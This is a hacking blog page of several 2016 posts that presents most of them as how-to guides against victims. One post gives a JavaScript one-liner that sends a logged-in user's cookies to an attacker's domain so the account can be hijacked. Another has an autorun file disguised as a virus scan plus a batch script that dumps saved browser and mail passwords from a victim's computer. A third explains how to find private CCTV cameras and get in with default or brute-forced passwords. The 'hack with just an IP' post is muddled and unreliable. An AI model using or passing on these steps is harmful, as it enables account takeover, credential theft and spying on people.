Showing posts with label Computer. Show all posts
Showing posts with label Computer. Show all posts

Tuesday, November 22, 2016

Hack Yahoo Account by Cookies Stealing


You Can Hack Yahoo Account by Cookies Stealing or Hijacking From Browser.

Follow Steps and Learn it.
This is very Simple Tutorial and 100% Tested..!!


Step 1: Download the Script on given link
http://www.multiupload.com/9Q3EPTOO47
Step 2: Download and extract files into your hard drive.
S
tep 3: Create a account in any ftp hosting site i suggested www.t35.com
Step 4: Login to your account and upload 4 files into your ftp account.
Step 5: Give this code to victim to run in his browser when he would be logged in to his yahoo account. Yahoo.php is basically cookie stealing script and hacked.php executes the stolen cookies in browser.
Stolen cookies get stored in directory 'cookies'
javascript:document.location='http://yourdomain.com/yahoo.php?ex='.concat(escape(document.cookie)); 
He would again redirected to his yahoo account.


Step 6: Open the hacked.php . The password is 'hoc'...
You must have got the username of victim's account. Simply Click on it and it would take you to inbox of victim's yahoo account without asking for any password of victim account.

Email Hacking can be possible


Do U Think If Your Email Can Not Been Hackable, Then You Are Wrong...
Ur Email-ID Can Be Hack... But Its Can Be Hack Only Fault by User.. Most Of The Peoples Think That Their Has A Software to Hack A Email- ID's But Truth Is Their Is No Software Present For Hacking Ur Mail ID's..

Email Hacking can be possible to many ways like:-


1. Social Engineering


2.Phishing Attacks

3. Cookie Hijacking


4. Keyloggers

1.Social Engineering:

This Process is defined as Hack the human mind without any tools...This has become one of the hottest topics today and it seems to work out most of the times. Social Engineering doesn’t deal with the network security issues, vulnerabilities, exploits,etc. It just deals with simple Psychological tricks that help to get the information we want. This really works!! But it requires a lot of patience.We are all talking about network security and fixing the vulnerabilities in networks.But what happens if some internal person of a network accidentally gives out the passwords. After all we are all humans; we are also vulnerable and can be easily
exploited and compromised than the computers.
exploited and compromised than the computers.Social Engineering attacks have become most common during the chat sessions. With the increase in use of Instant Messengers, any anonymous person may have a chat with another any where in the world. The most crucial part of this attack is to win the trust of the victim.


2.Phishing Attack:


The act of sending an e-mail to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the user into surroundering private information that will be used for identity theft. The e-mail directs the user to visit a Web site where they are asked to update personal information, such as passwords and credit card, social security, and bank account numbers, that the legitimate organization already has. The Web site, however, is bogus and set up only to steal the user’s information.


3.Cookie Hijacking:


In cookie hijacking we can hack email accounts very easily.. This trick is verydangereous because whenever user change a password then there is no need toattacker for again hack Email- ID of victim. And it would take you to inbox of victim's yahoo account without asking for any password of victim account.

Hack Yahoo Account by Cookies Stealing

4.Keyloggers:

Keylogger is a software program or hardware device that is used to monitor and log each of the keys a user types into a computer keyboard. The user who installed the program or hardware device can then view all keys typed in by that user. Because these programs and hardware devices monitor the keys typed in a user can easily find user passwords and other information a user may not wish others to know about.Keyloggers, as a surveillance tool, are often used by employers to ensure employeesuse work computers for business purposes only. Unfortunately, keyloggers can alsobe embedded in spyware allowing your information to be transmitted to an unknown third party.

Monday, November 21, 2016

Microsoft Replaces Command Prompt With PowerShell As Windows 10 Default Shell



Microsoft has released a new Windows 10 Insider Build 14971. The latest release brings many new features likes the ability to read EPUB books in Microsoft Edge web browser, and the new Paint 3D application. Another big change in Build 14971 comes in the form of making PowerShell the default shell in Windows 10.

What if I want to stick with Command Prompt?

Microsoft has included Command Prompt in its Windows operating systems since a very long time. One the other hand, PowerShell is a comparatively newer and more powerful shell in Windows operating system. With this change, Microsoft aims to bring “the best command line experiences to the forefront for all power users”.
From now on, in Windows 10, PowerShell will be the defacto command shell from File Explorer. If you’ll press WIN+X, you’ll get PowerShell menu. Command Prompt is also replaced from the context menu that pops up when you Shift+Right-click any empty space. Typing cmd in Run will also open PowerShell in the new Windows 10 Insider build.
If you aren’t ready to accept this change and ditch Command Prompt, you can opt out of the WIN+X change. To do this, open Settings > Personalization > Taskbar. Now, turn the “Replace Command Prompt with Windows PowerShell in the menu when I right-click the Start button or press Windows key+X” option to “Off”.
The users are having a choice at the moment, but the future of Command Prompt remains unclear. One can expect Redmond to remove Command Prompt completely in future.
Fun Fact: Microsoft is also celebrating PowerShell’s 10th birthday this week. So, a shift to a more powerful shell shouldn’t shock Windows users.

Hack a Computer Only with just a IP Address


Hak4u presents you an easy tutorial to hack a Computer only with a just a IP Address in six simple steps.

Steps :
1) Prepare the IP address of the Victim. (e.g : 101.23.53.70 )

2) Download and Install Advanced Port Scanner.


3) Open Advanced Port Scanner and Type the IP Address in the right column and Click Scan.


4) It will lists you all Opened Ports of the Victim’s PC or Router. (e.g : Port 91 ) 5) After retrieving the IP address and the Opened Ports of the Victim, Open Command Prompt (CMD) and Type: telnet [IP ADDRESS] [PORT] e.g : telnet 101.23.53.05  91

Monday, November 14, 2016

How to Hack Private CCTV Cameras


CCTV cameras are used at many places like malls,offices and many more for many purposes.You must have seen the Public CCTV Cameras using the Google dorks but here today I will tell about hacking into private CCTV cams.


Procedure For Hacking CCTV Cameras



Step 1 : Downloading Angry IP Scanner

Angry IP scanner that is generally used by network administrators for port scanning and detecting for the suspicious activity.It is available on all the major OS.
CCTV Cameras : Angry IP scanner

First Download and install the Angry IP scanner.

Step 2 : Knowing your IP address range

CCTV Cameras : My Public IP

It is very important to know your public IP for accomplishing our target.CCTV cameras are connected to our broadband internet connection.If you are using a broadband connection then you can know your public IP by just going to Google or Bing and typing in the search box “My IP” .It will show your public IP.
Here 103.26.218.207 is my public IP .So the IP range will be 103.26.218.1 to 103.26.218.255

Step 3 : Configuring Angry IP scanner

Now you have to open  Angry IP Scanner.
Go to Tools > Preferences > Ports | include ports 80,8080,23 in Port choice tab
It will filter 23,80 and 8080 port.
CCTV Cameras : Angry IP scanner Preferences

Now we need to add the web detect option.Web detect is used when we want to know small details about the devices that are connected to the internet.For example any router name or the CCTV camera name or the model number.

You can add web detect using the following procedure :
Tools > Fetchers > add (<<) web detect
CCTV Cameras : Web Detect

click on the OK tab and you are done.

Step 4 : Starting IP scanning

Now fire up Angry IP scanner and enter the IP range.You now have to click on start for scanning.
After few seconds when the scanning has finished then it will show information in web detect tab.Now you have to manually detect the CCTV camera.There are few parameters by which you can recognize your CCTV camera.
  • DVRDVS-Webs – CCTV camera
  • Webs – CCTV camera
  • Hikvision-Webs — CCTV camera
  • iBall-Baton — CCTV camera
  • uc-httpd 1.0.0 — CCTV camera
Now if any of the above configuration matches your list then you just have to note the IP address of the detected CCTV camera and Go in the address bar of the browser and paste it.

Step 5 : Hacking into the CCTV Cameras Configuration

Most of the CCTV cams and router has the default password in it so they can easily be hacked. For example you can give the below passwords a try –
Username : admin | password : admin
Username : admin | password : (blank password)
Username : admin | password : 12345
Username : admin | password : 9999
You can explore more list by doing some R & D .For watching the live videos you must have some plugins and you will get the details inside the configuration page.
CCTV Cameras
If the administrator is too smart then he must have set the custom passwords and that can also be broken using the hydra tool in the Kali Linux.This way you can hack into a private CCTV cams.
This article is only for educational purposes and any damage caused due this is your own responsibility and not mine.This is only to show you how to secure a CCTV cameras.
If you like the post then do share it among your social networks and follow us on different social networking sites.

Sunday, November 13, 2016

Use This Tool and Scan Your IoT Devices For Vulnerabilities


The security of IoT devices is the problem the world is sure to face in the coming years. To make it easy for everyone to scan their network if IoT devices for possible vulnerabilities, a UK-based security firm BullGuard launched a very useful tool.
 This tool is called the Internet of Things Scanner. It was launched in early June 2016, the time everybody knew that insecure IoT devices are dangerous. And now we are aware of the fact that they are so dangerous and can even bring down a large part of the Internet.
The way this tool works is simple, it takes the visitor’s IP address and then search it on Shoden which is a search engine to discover Internet-connected devices.
The IoT Scanner will tell you if your IP is reachable via Shodan, which despite being a tool used by many security researchers, is also abused by hackers to discover possible targets and plan future attacks.
The tool does nothing more than to automate a Shodan search for an IP address, listing the results as a list of ports exposed to the Internet.
The simplest way to protect IoT equipment, in this case, is to block port forwarding on local LAN routers or to place IoT devices behind a firewall.
Unfortunately, device owners that lacked the technical skills to configure their IoT device will probably have no idea what to do to remediate IoT Scanner results, and a specialist’s help will probably be needed.
Nevertheless, the IoT Scanner can help users discover if their local home network is exposing ports to the Internet, which can be used by attackers as a gateway for future attacks.
The tool also has its limitations. For example, users will need to be able to run a browser on their IoT device, in order to access the scanner’s URL. This means users can’t test IP cameras, baby monitors, and others. Users may be able to test some smart fridges, which come with a built-in browser to access Internet sites, but this feature is not included in all smart fridges or IoT products, which generally feature simplistic interfaces due to storage and memory limitations.

Monday, November 7, 2016

USB Stealer

Windows allows the storage of the passwords, as do modern browsers. While this feature is convenient for users, it has imposed itself as a big security risk among organizations. We know that browsers store most passwords on daily basis, like MSN messenger, Yahoo, Facebook passwords, etc. Most people lack time and ask their browsers to save their passwords. As we know, there are many tools available to recover saved passwords, so in this article I will explain to you how to make aUSB password stealer and steal saved passwords.

Just to explain the concept, we are going to collect some password stealing tools, tools that are freely available on the internet and capable of stealing the passwords stored in the browsers or other windows files.

Then, we create a batch program that will execute these combined programs and store the stolen usernames and passwords in a text file.

To further spice up the penetration testing demonstration, we will also make this batch file execute as an auto-run for the USB stick, effectively stealing the passwords as we plug it in.

THINGS YOU WILL NEED

MessenPass - MessenPass is a password recovery tool that reveals the passwords of the following instant messenger applications.

Mail PassView - Mail PassView is a small password-recovery tool that reveals the passwords and other account details for Outlook express, windows mail, POP3, etc.

IE Passview - IE passview is a small program that helps us view stored passwords in Internet explorer.

Protected storage pass viewer(PSPV) - Protected Storage Passview is a small utility that reveals the passwords stored on your computer by Internet Explorer, Outlook Express, and MSN Explorer.

Password Fox - Password fox is a small program used to view Stored passwords in Mozilla Firefox.

ChromePass - ChromePass is a small password recovery tool that allows you to view the usernames and passwords stored by Google Chrome Web browser.

STEPS :

1. First of all download all 5 tools and copy the executables (.exe files) i.e. Copy the files mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and input the following text:

[autorun] open=launch.bat ACTION= Perform a Virus Scan

Save the Notepad and rename it from "New Text Document.txt" to "autorun.inf"
Now copy the "autorun.inf" file onto your USBStick.

3. Create another Notepad and write the following text onto
it:

start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt start iepv.exe /stext iepv.txt start pspv.exe /stext pspv.txt start passwordfox.exe /stext passwordfox.txt

4. Save the Notepad and rename it from "New Text Document.txt" to "launch.bat"

5. Copy the "launch.bat" file onto your USB drive. Now your USB Password stealer is ready, all you have to do is insert it in your victim's computer and a popup will appear. In the popup window, select the option "launch virus scan."

After this you can see saved password in .TXT files

Purely for educational purposes. Use these tools at your own risk!

Top 10 Countries with Most Hackers- Cyber Criminals

Here below we are listing the top ten countries with most cyber criminals that have expertise in hacking. 1. CHINA: Topping the list as told...